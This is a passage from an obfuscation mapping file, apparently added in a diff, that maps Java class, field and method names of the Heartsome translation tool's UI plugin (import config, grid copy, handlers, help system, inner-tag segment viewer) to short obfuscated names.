+net.heartsome.cat.ts.ui.external.ImportConfig$1 -> net.heartsome.cat.ts.ui.external.u: + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + net.heartsome.cat.ts.ui.external.ImportConfig$UncleanImporter val$unclean -> aoU + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.external.ImportConfig$2 -> net.heartsome.cat.ts.ui.external.v: + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + java.lang.Throwable val$e -> aoh + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$3 -> net.heartsome.cat.ts.ui.external.w: + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$4 -> net.heartsome.cat.ts.ui.external.x: + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + boolean[] val$bools -> aoV + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$5 -> net.heartsome.cat.ts.ui.external.y: + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$ExportReporter -> net.heartsome.cat.ts.ui.external.z: + java.lang.String rowInfo -> aoW + net.heartsome.cat.ts.ui.docx.common.FlagErrorException e -> aoX + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + java.lang.String getRowInfo() -> pl + void setRowInfo(java.lang.String) -> fH + net.heartsome.cat.ts.ui.docx.common.FlagErrorException getE() -> pm + void setE(net.heartsome.cat.ts.ui.docx.common.FlagErrorException) -> a +net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof -> net.heartsome.cat.ts.ui.external.aa: + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + com.ximpleware.XMLModifier xm -> hk + net.heartsome.cat.ts.core.file.XLFHandler tempXlfHandler -> TW + com.ximpleware.VTDNav vn -> vn + com.ximpleware.AutoPilot ap -> m + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + boolean hasComment -> SH + java.util.List errorList -> TX + java.util.Set errorRowSet -> TY + boolean continuImport -> TZ + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + void doImport() -> if + boolean beginImport(java.lang.String) -> fd + boolean parseXliff(net.heartsome.cat.ts.core.file.XLFHandler) -> b + boolean curRowIsLocked(java.lang.String) -> fe + java.lang.String getSrcTextFromXliffByRowId(java.lang.String) -> ff + java.util.List getTagFromSrcText(java.lang.String) -> fg + void importDocxToXliffList(java.util.List) -> N + void ananysisStatusAndComment(java.util.List) -> O + void setOtherStatus(int) -> ah + net.heartsome.cat.ts.ui.external.ImportConfig access$0(net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof) -> a +net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof$1 -> net.heartsome.cat.ts.ui.external.ab: + net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof this$1 -> aoY + java.lang.String val$docxPath -> Uc + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof$2 -> net.heartsome.cat.ts.ui.external.ac: + net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof this$1 -> aoY + java.lang.String val$errorTip -> RU + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof$3 -> net.heartsome.cat.ts.ui.external.ad: + net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof this$1 -> aoY + net.heartsome.cat.ts.ui.docx.common.FlagErrorException val$e -> agJ + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof$4 -> net.heartsome.cat.ts.ui.external.ae: + net.heartsome.cat.ts.ui.external.ImportConfig$ImportHsproof this$1 -> aoY + void run() -> run +net.heartsome.cat.ts.ui.external.ImportConfig$MonitorRunner -> net.heartsome.cat.ts.ui.external.af: + int steps -> aoZ + double total -> apa + int worked -> apb + int tmp -> apc + int count -> count + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + void monitorSupport(java.lang.String,double) -> a + void worked(int) -> worked + void setTaskName(java.lang.String) -> setTaskName + boolean isCanceled() -> isCanceled + void done() -> done +net.heartsome.cat.ts.ui.external.ImportConfig$UncleanImporter -> net.heartsome.cat.ts.ui.external.ag: + com.ximpleware.AutoPilot tmpAp -> apd + net.heartsome.cat.ts.ui.external.ImportConfig$XliffUpdater xlfUpdater -> ape + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + void doImport() -> if + void appendReport(net.heartsome.cat.ts.ui.docx.common.FlagErrorException,java.lang.String) -> a + java.lang.String resolveQuote(java.lang.StringBuilder) -> b + boolean testXpath(java.lang.String) -> fI + void canceled(boolean) -> an +net.heartsome.cat.ts.ui.external.ImportConfig$XliffUpdater -> net.heartsome.cat.ts.ui.external.ah: + java.lang.String tgtLang -> SW + com.ximpleware.VTDGen xmlChecker -> apf + com.ximpleware.VTDNav vn -> vn + com.ximpleware.XMLModifier xm -> hk + com.ximpleware.AutoPilot ap -> m + com.ximpleware.AutoPilot tmpAp -> apd + net.heartsome.cat.ts.ui.external.ImportConfig this$0 -> aoT + void updateByRowId(java.lang.String,java.lang.String) -> af + void flush() -> flush + boolean polit(java.lang.String) -> fJ + java.lang.String buildTarget(java.lang.String) -> fK + boolean testXpath(java.lang.String) -> fI +net.heartsome.cat.ts.ui.grid.GridCopyEnable -> net.heartsome.cat.ts.ui.grid.GridCopyEnable: + org.eclipse.nebula.widgets.grid.Grid gridTable -> Uv + org.eclipse.swt.widgets.Caret defaultCaret -> ajq + int clickCount -> clickCount + int caretOffset -> caretOffset + int selectionAnchor -> ajr + org.eclipse.swt.graphics.Point selection -> ajs + org.eclipse.swt.graphics.TextLayout layout -> ajt + java.lang.String focusContent -> aju + int coordinateOffsetX -> ajv + int coordinateOffsetY -> ajw + org.eclipse.swt.graphics.Rectangle focusCellRect -> ajx + java.util.List copyAbleColumnIndexs -> ajy + int focusItemIndex -> ajz + int focusColIndex -> ajA + org.eclipse.nebula.widgets.grid.GridItem focusItem -> ajB + org.eclipse.swt.dnd.Clipboard clipboard -> adN + boolean IS_MAC -> ajC + boolean IS_GTK -> ajD + boolean IS_MOTIF -> ajE + org.eclipse.swt.graphics.Point getSelectionRange(int,org.eclipse.nebula.widgets.grid.GridItem) -> getSelectionRange + int getSelectionCount() -> getSelectionCount + void addCopyAbleColumn(int) -> addCopyAbleColumn + void resetSelection() -> resetSelection + void initListener() -> initListener + void doAction(int) -> doAction + void copy() -> copy + void doMouseLocationChange(int,int,boolean) -> a + void doMouseSelection() -> nw + void doSelection(int) -> ae + void clearSelection() -> clearSelection + void handleVerticalScroll(org.eclipse.swt.widgets.Event) -> a + void access$0(net.heartsome.cat.ts.ui.grid.GridCopyEnable,int) -> a + int access$1(net.heartsome.cat.ts.ui.grid.GridCopyEnable) -> a + org.eclipse.nebula.widgets.grid.Grid access$2(net.heartsome.cat.ts.ui.grid.GridCopyEnable) -> b + org.eclipse.swt.widgets.Caret access$3(net.heartsome.cat.ts.ui.grid.GridCopyEnable) -> c +net.heartsome.cat.ts.ui.grid.GridCopyEnable$1 -> net.heartsome.cat.ts.ui.grid.GridCopyEnable$1: + net.heartsome.cat.ts.ui.grid.GridCopyEnable this$0 -> ajF + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.grid.GridCopyEnable$2 -> net.heartsome.cat.ts.ui.grid.GridCopyEnable$2: + net.heartsome.cat.ts.ui.grid.GridCopyEnable this$0 -> ajF + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.grid.GridCopyEnable$3 -> net.heartsome.cat.ts.ui.grid.GridCopyEnable$3: + net.heartsome.cat.ts.ui.grid.GridCopyEnable this$0 -> ajF + void mouseMove(org.eclipse.swt.events.MouseEvent) -> mouseMove +net.heartsome.cat.ts.ui.grid.GridCopyEnable$4 -> net.heartsome.cat.ts.ui.grid.GridCopyEnable$4: + net.heartsome.cat.ts.ui.grid.GridCopyEnable this$0 -> ajF + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.grid.GridCopyEnable$5 -> net.heartsome.cat.ts.ui.grid.GridCopyEnable$5: + net.heartsome.cat.ts.ui.grid.GridCopyEnable this$0 -> ajF + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.grid.GridCopyEnable$6 -> net.heartsome.cat.ts.ui.grid.GridCopyEnable$6: + net.heartsome.cat.ts.ui.grid.GridCopyEnable this$0 -> ajF + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.grid.XGridCellRenderer -> net.heartsome.cat.ts.ui.grid.XGridCellRenderer: + int leftMargin -> leftMargin + int rightMargin -> rightMargin + int topMargin -> topMargin + int bottomMargin -> bottomMargin + int textTopMargin -> pc + int textBottomMargin -> pd + int tabSize -> tabSize + int tabWidth -> aks + org.eclipse.swt.graphics.Font font -> font + int verticalAlignment -> verticalAlignment + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder placeHolderBuilder -> ajG + net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory innerTagFactory -> ajH + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> aE + net.heartsome.cat.ts.ui.grid.GridCopyEnable copyEnable -> ajI + org.eclipse.swt.graphics.TextLayout getTextLayout(org.eclipse.swt.graphics.GC,org.eclipse.nebula.widgets.grid.GridItem,int,boolean,boolean) -> getTextLayout + void attachInnertTagStyle(org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.TextLayout,boolean) -> a + void drawInnerTag(org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.TextLayout) -> a + int getVerticalAlignmentAdjustment(int,int) -> getVerticalAlignmentAdjustment + void setCopyEnable(net.heartsome.cat.ts.ui.grid.GridCopyEnable) -> setCopyEnable + int getVerticalAlignment() -> getVerticalAlignment + void setVerticalAlignment(int) -> setVerticalAlignment + void setFont(org.eclipse.swt.graphics.Font) -> setFont +net.heartsome.cat.ts.ui.handlers.ChangeXliffEditorModelHandler -> net.heartsome.cat.ts.ui.handlers.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.handlers.NewFolderHandler -> net.heartsome.cat.ts.ui.handlers.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.handlers.NewHandler -> net.heartsome.cat.ts.ui.handlers.c: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.handlers.NewProjectHandler -> net.heartsome.cat.ts.ui.handlers.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.handlers.NewProjectHandler$1 -> net.heartsome.cat.ts.ui.handlers.e: + net.heartsome.cat.ts.ui.handlers.NewProjectHandler this$0 -> Fw + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl +net.heartsome.cat.ts.ui.handlers.NewProjectHandler$1$1 -> net.heartsome.cat.ts.ui.handlers.f: + net.heartsome.cat.ts.ui.handlers.NewProjectHandler$1 this$1 -> Fx + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.handlers.NewProjectHandler$1$2 -> net.heartsome.cat.ts.ui.handlers.g: + net.heartsome.cat.ts.ui.handlers.NewProjectHandler$1 this$1 -> Fx + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler -> net.heartsome.cat.ts.ui.handlers.h: + org.eclipse.swt.widgets.Shell shell -> shell + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + org.slf4j.Logger logger -> logger + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + org.eclipse.swt.widgets.Shell access$0(net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler) -> a +net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1 -> net.heartsome.cat.ts.ui.handlers.i: + net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler this$0 -> Fy + java.util.ArrayList val$selectIFiles -> Fz + org.eclipse.core.resources.IFile val$multiIFile -> FA + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler access$0(net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1) -> a +net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1$1 -> net.heartsome.cat.ts.ui.handlers.j: + net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1 this$1 -> FB + java.util.Map val$newResultMap -> FC + void run() -> run +net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1$2 -> net.heartsome.cat.ts.ui.handlers.k: + net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1 this$1 -> FB + void run() -> run +net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1$3 -> net.heartsome.cat.ts.ui.handlers.l: + net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1 this$1 -> FB + boolean[] val$validateResult -> NE + java.util.ArrayList val$selectIFiles -> Fz + void run() -> run +net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1$4 -> net.heartsome.cat.ts.ui.handlers.q: + net.heartsome.cat.ts.ui.handlers.OpenMultiXliffHandler$1 this$1 -> FB + org.eclipse.ui.part.FileEditorInput val$input -> FD + void run() -> run +net.heartsome.cat.ts.ui.handlers.ProjectSettingHandler -> net.heartsome.cat.ts.ui.handlers.m: + org.slf4j.Logger logger -> logger + java.util.List extensionPages -> FE + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void runWizardPageExtension() -> gV + net.heartsome.cat.ts.ui.extensionpoint.AbstractProjectSettingPage getPageByType(java.lang.String) -> dp + java.util.List access$0(net.heartsome.cat.ts.ui.handlers.ProjectSettingHandler) -> a +net.heartsome.cat.ts.ui.handlers.ProjectSettingHandler$1 -> net.heartsome.cat.ts.ui.handlers.n: + net.heartsome.cat.ts.ui.handlers.ProjectSettingHandler this$0 -> FF + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.ui.handlers.ResetPerspectiveHandler -> net.heartsome.cat.ts.ui.handlers.o: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.handlers.SavePerspectiveHandler -> net.heartsome.cat.ts.ui.handlers.p: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.handlers.ShowHidenNonPrintingCharacterHandler -> net.heartsome.cat.ts.ui.handlers.r: + boolean isSelected -> isSelected + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.ts.ui.help.AbstractSelfHelpUI -> net.heartsome.cat.ts.ui.help.a: + net.heartsome.cat.ts.ui.help.AbstractSelfHelpUI instance -> FG + net.heartsome.cat.ts.ui.help.AbstractSelfHelpUI getInstance() -> gW + void displayHelp() -> displayHelp + void displayContext(org.eclipse.help.IContext,int,int) -> displayContext + void displayHelpResource(java.lang.String) -> displayHelpResource + boolean isContextHelpDisplayed() -> isContextHelpDisplayed + boolean useExternalBrowser(java.lang.String) -> dq + boolean insideModalParent(org.eclipse.swt.widgets.Display) -> a + boolean isDisplayModal(org.eclipse.swt.widgets.Shell) -> isDisplayModal +net.heartsome.cat.ts.ui.help.AbstractSelfHelpUI$ExternalWorkbenchBrowser -> net.heartsome.cat.ts.ui.help.b: + net.heartsome.cat.ts.ui.help.AbstractSelfHelpUI this$0 -> FH + org.eclipse.ui.browser.IWebBrowser getExternalBrowser() -> getExternalBrowser + void close() -> close + boolean isCloseSupported() -> isCloseSupported + void displayURL(java.lang.String) -> displayURL + boolean isSetLocationSupported() -> isSetLocationSupported + boolean isSetSizeSupported() -> isSetSizeSupported + void setLocation(int,int) -> setLocation + void setSize(int,int) -> setSize +net.heartsome.cat.ts.ui.help.Activator -> net.heartsome.cat.ts.ui.help.c: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.help.Activator plugin -> FI + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.help.Activator getDefault() -> gX + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.ui.help.SelfBaseHelpSystem -> net.heartsome.cat.ts.ui.help.d: + net.heartsome.cat.ts.ui.help.SelfBaseHelpSystem instance -> FJ + java.lang.String BOOKMARKS -> BOOKMARKS + java.lang.String WORKING_SETS -> WORKING_SETS + java.lang.String WORKING_SET -> WORKING_SET + int MODE_WORKBENCH -> MODE_WORKBENCH + int MODE_INFOCENTER -> MODE_INFOCENTER + int MODE_STANDALONE -> MODE_STANDALONE + int mode -> mode + org.eclipse.help.internal.search.SearchManager searchManager -> FK + org.eclipse.help.internal.workingset.WorkingSetManager workingSetManager -> FL + org.eclipse.help.internal.base.BookmarkManager bookmarkManager -> FM + boolean webappStarted -> FN + boolean webappRunning -> FO + org.eclipse.help.internal.base.util.IErrorUtil defaultErrorMessenger -> FP + org.eclipse.help.browser.IBrowser browser -> FQ + org.eclipse.help.browser.IBrowser internalBrowser -> FR + net.heartsome.cat.ts.ui.help.SelfHelpDisplay helpDisplay -> FS + net.heartsome.cat.ts.ui.help.SelfBaseHelpSystem getInstance() -> gY + org.eclipse.help.internal.search.SearchManager getSearchManager() -> getSearchManager + org.eclipse.help.internal.search.LocalSearchManager getLocalSearchManager() -> getLocalSearchManager + org.eclipse.help.internal.workingset.WorkingSetManager getWorkingSetManager() -> getWorkingSetManager + org.eclipse.help.internal.base.BookmarkManager getBookmarkManager() -> getBookmarkManager + void setBrowserInstance(org.eclipse.help.browser.IBrowser) -> setBrowserInstance + org.eclipse.help.browser.IBrowser getHelpBrowser(boolean) -> getHelpBrowser + net.heartsome.cat.ts.ui.help.SelfHelpDisplay getHelpDisplay() -> gZ + void shutdown() -> shutdown + void startup() -> startup + boolean ensureWebappRunning() -> ensureWebappRunning + java.net.URL resolve(java.lang.String,boolean) -> resolve + java.net.URL resolve(java.lang.String,java.lang.String) -> resolve + boolean isFileProtocol(java.lang.String) -> dr + java.lang.String unresolve(java.net.URL) -> unresolve + java.lang.String unresolve(java.lang.String) -> unresolve + java.lang.String getBase(boolean) -> x + java.lang.String getBase(java.lang.String) -> ds + int getMode() -> getMode + void setMode(int) -> setMode + void setDefaultErrorUtil(org.eclipse.help.internal.base.util.IErrorUtil) -> setDefaultErrorUtil + org.eclipse.help.internal.base.util.IErrorUtil getDefaultErrorUtil() -> getDefaultErrorUtil + java.lang.String getProductName() -> getProductName + void runLiveHelp(java.lang.String,java.lang.String,java.lang.String) -> runLiveHelp + void checkMode() -> checkMode +net.heartsome.cat.ts.ui.help.SelfBaseHelpSystem$1 -> net.heartsome.cat.ts.ui.help.e: + void displayError(java.lang.String) -> displayError + void displayError(java.lang.String,java.lang.Thread) -> displayError +net.heartsome.cat.ts.ui.help.SelfDisplayUtils -> net.heartsome.cat.ts.ui.help.f: + java.lang.String HELP_UI_PLUGIN_ID -> HELP_UI_PLUGIN_ID + java.lang.String LOOP_CLASS_NAME -> FT + void runUI() -> ha + void wakeupUI() -> hb + void waitForDisplay() -> hc + void invoke(java.lang.String) -> dt +net.heartsome.cat.ts.ui.help.SelfHelpDisplay -> net.heartsome.cat.ts.ui.help.g: + java.lang.String hrefOpenedFromHelpDisplay -> FU + org.eclipse.help.base.AbstractHelpDisplay helpDisplay -> FV + java.lang.String HELP_DISPLAY_EXTENSION_ID -> FW + java.lang.String HELP_DISPLAY_CLASS_ATTRIBUTE -> FX + void displayHelp(boolean) -> displayHelp + void displayHelpResource(java.lang.String,boolean) -> displayHelpResource + void displayHelp(org.eclipse.help.IContext,org.eclipse.help.IHelpResource,boolean) -> displayHelp + void displaySearch(java.lang.String,java.lang.String,boolean) -> displaySearch + void displayHelpURL(java.lang.String,boolean) -> c + java.lang.String getBaseURL() -> hd + java.lang.String getFramesetURL() -> he + java.lang.String getFramesetIndexURL() -> hf + java.lang.String getTopicURL(java.lang.String) -> du + java.lang.String getNoframesURL(java.lang.String) -> dv + java.lang.String getHrefOpenedFromHelpDisplay() -> getHrefOpenedFromHelpDisplay + void setHrefOpenedFromHelpDisplay(java.lang.String) -> setHrefOpenedFromHelpDisplay + void createHelpDisplay() -> hg + org.eclipse.help.base.AbstractHelpDisplay getHelpDisplay() -> hh + java.lang.String access$0() -> hi + java.lang.String access$1() -> hj +net.heartsome.cat.ts.ui.help.SelfHelpDisplay$DefaultDisplay -> net.heartsome.cat.ts.ui.help.h: + java.lang.String getHelpHome(java.lang.String,int,java.lang.String) -> getHelpHome + java.lang.String getHelpForTopic(java.lang.String,java.lang.String,int) -> getHelpForTopic +net.heartsome.cat.ts.ui.help.SelfHelpSystem -> net.heartsome.cat.ts.ui.help.i: + boolean fShared -> FY + org.eclipse.help.IContext getContext(java.lang.String) -> getContext + org.eclipse.help.IContext getContext(java.lang.String,java.lang.String) -> getContext + org.eclipse.help.IToc[] getTocs() -> getTocs + org.eclipse.help.IIndex getIndex() -> getIndex + java.io.InputStream getHelpContent(java.lang.String) -> getHelpContent + java.io.InputStream getHelpContent(java.lang.String,java.lang.String) -> getHelpContent + boolean isShared() -> isShared + void setShared(boolean) -> setShared +net.heartsome.cat.ts.ui.innertag.ISegmentViewer -> net.heartsome.cat.ts.ui.innertag.ISegmentViewer: + java.util.List getInnerTagCacheList() -> getInnerTagCacheList + java.lang.String getText() -> getText + java.lang.String getPureText() -> getPureText + void setSource(java.lang.String) -> setSource + void setText(java.lang.String) -> setText + int getSourceMaxTagIndex() -> getSourceMaxTagIndex + int getErrorTagStart() -> getErrorTagStart + java.util.List getCurrentInnerTags() -> getCurrentInnerTags + void insertInnerTag(int,int) -> insertInnerTag +net.heartsome.cat.ts.ui.innertag.InnerTagUtil -> net.heartsome.cat.ts.ui.innertag.InnerTagUtil: + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder PLACE_HOLDER_BUILDER -> ajJ + net.heartsome.cat.common.ui.innertag.InnerTag getInnerTag(java.util.List,java.lang.String) -> getInnerTag + java.lang.String getPlaceHolder(java.util.List,net.heartsome.cat.common.innertag.InnerTagBean) -> getPlaceHolder + net.heartsome.cat.common.ui.innertag.InnerTag createInnerTagControl(org.eclipse.swt.widgets.Composite,net.heartsome.cat.common.innertag.InnerTagBean,net.heartsome.cat.common.innertag.TagStyle) -> createInnerTagControl +net.heartsome.cat.ts.ui.innertag.SegmentViewer -> net.heartsome.cat.ts.ui.innertag.SegmentViewer: + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder placeHolderBuilder -> ajG + java.util.ArrayList innerTagCacheList -> Gc + java.lang.String source -> source + int errorTagStart -> Gd + int sourceMaxTagIndex -> Ge + net.heartsome.cat.common.innertag.TagStyle tagStyle -> aB + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType -> aG + void initListeners() -> hk + java.util.List getInnerTagCacheList() -> getInnerTagCacheList + java.lang.String getPureText() -> getPureText + java.lang.String getText() -> getText + java.lang.String convertDisplayTextToOriginalText(java.lang.String) -> convertDisplayTextToOriginalText + void initUndoManager(int) -> initUndoManager + void setSource(java.lang.String) -> setSource + boolean isSource() -> isSource + void setText(java.lang.String) -> setText + java.lang.String cleanRegularString(java.lang.String) -> cleanRegularString + java.lang.String resetRegularString(java.lang.String) -> resetRegularString + void reset() -> reset + int getRealSplitOffset() -> getRealSplitOffset + int getRealSplitOffset(int) -> getRealSplitOffset + void insertInnerTag(int,int) -> insertInnerTag + int getErrorTagStart() -> getErrorTagStart + int getSourceMaxTagIndex() -> getSourceMaxTagIndex + java.util.List getCurrentInnerTags() -> getCurrentInnerTags + void clearAllInnerTags() -> clearAllInnerTags + void setToolTipMessage(java.lang.String) -> setToolTipMessage + void setTagStyle(net.heartsome.cat.common.innertag.TagStyle) -> setTagStyle + net.heartsome.cat.common.innertag.TagStyle getTagStyle() -> getTagStyle + java.lang.String getSelectedOriginalText() -> getSelectedOriginalText + java.lang.String getSelectedPureText() -> getSelectedPureText + void doOperation(int) -> doOperation + void copy() -> copy + void parse() -> parse + java.lang.String filterInnerTag(java.lang.String) -> fh + java.util.ArrayList access$0(net.heartsome.cat.ts.ui.innertag.SegmentViewer) -> a + boolean access$1(net.heartsome.cat.ts.ui.innertag.SegmentViewer) -> b + int access$2(net.heartsome.cat.ts.ui.innertag.SegmentViewer) -> c + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder access$3(net.heartsome.cat.ts.ui.innertag.SegmentViewer) -> d + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType() -> e +net.heartsome.cat.ts.ui.innertag.SegmentViewer$1 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$1: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void documentChanged(org.eclipse.jface.text.DocumentEvent) -> documentChanged + void documentAboutToBeChanged(org.eclipse.jface.text.DocumentEvent) -> documentAboutToBeChanged + java.lang.String belongToUndoOrRedo() -> hl +net.heartsome.cat.ts.ui.innertag.SegmentViewer$2 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$2: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.ts.ui.innertag.SegmentViewer$3 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$3: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.innertag.SegmentViewer$4 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$4: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void mouseMove(org.eclipse.swt.events.MouseEvent) -> mouseMove +net.heartsome.cat.ts.ui.innertag.SegmentViewer$5 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$5: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void verifyText(org.eclipse.swt.events.VerifyEvent) -> verifyText + void deleteInnerTagInPairs(org.eclipse.swt.events.VerifyEvent,java.util.regex.Matcher) -> a + void access$0(net.heartsome.cat.ts.ui.innertag.SegmentViewer$5,org.eclipse.swt.events.VerifyEvent,java.util.regex.Matcher) -> a +net.heartsome.cat.ts.ui.innertag.SegmentViewer$5$1 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$5$1: + net.heartsome.cat.ts.ui.innertag.SegmentViewer$5 this$1 -> ali + org.eclipse.swt.events.VerifyEvent val$e -> alj + java.util.regex.Matcher val$matcher -> alk + void run() -> run +net.heartsome.cat.ts.ui.innertag.SegmentViewer$6 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$6: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void paintObject(org.eclipse.swt.custom.PaintObjectEvent) -> paintObject +net.heartsome.cat.ts.ui.innertag.SegmentViewer$7 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$7: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void mouseMove(org.eclipse.swt.events.MouseEvent) -> mouseMove +net.heartsome.cat.ts.ui.innertag.SegmentViewer$8 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$8: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.innertag.SegmentViewer$9 -> net.heartsome.cat.ts.ui.innertag.SegmentViewer$9: + net.heartsome.cat.ts.ui.innertag.SegmentViewer this$0 -> Gf + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.innertag.XLiffTextTransfer -> net.heartsome.cat.ts.ui.innertag.XLiffTextTransfer: + java.lang.String MIME_TYPE -> ajl + int MIME_TYPE_ID -> ajm + net.heartsome.cat.ts.ui.innertag.XLiffTextTransfer _instance -> akq + net.heartsome.cat.ts.ui.innertag.XLiffTextTransfer getInstance() -> getInstance + int[] getTypeIds() -> getTypeIds + java.lang.String[] getTypeNames() -> getTypeNames + void javaToNative(java.lang.Object,org.eclipse.swt.dnd.TransferData) -> javaToNative + java.lang.Object nativeToJava(org.eclipse.swt.dnd.TransferData) -> nativeToJava + boolean checkMyType(java.lang.Object) -> j + boolean validate(java.lang.Object) -> validate +net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagRule -> net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagRule: + java.lang.StringBuffer fBuffer -> Gj + org.eclipse.jface.text.rules.IToken evaluate(org.eclipse.jface.text.rules.ICharacterScanner) -> evaluate + void 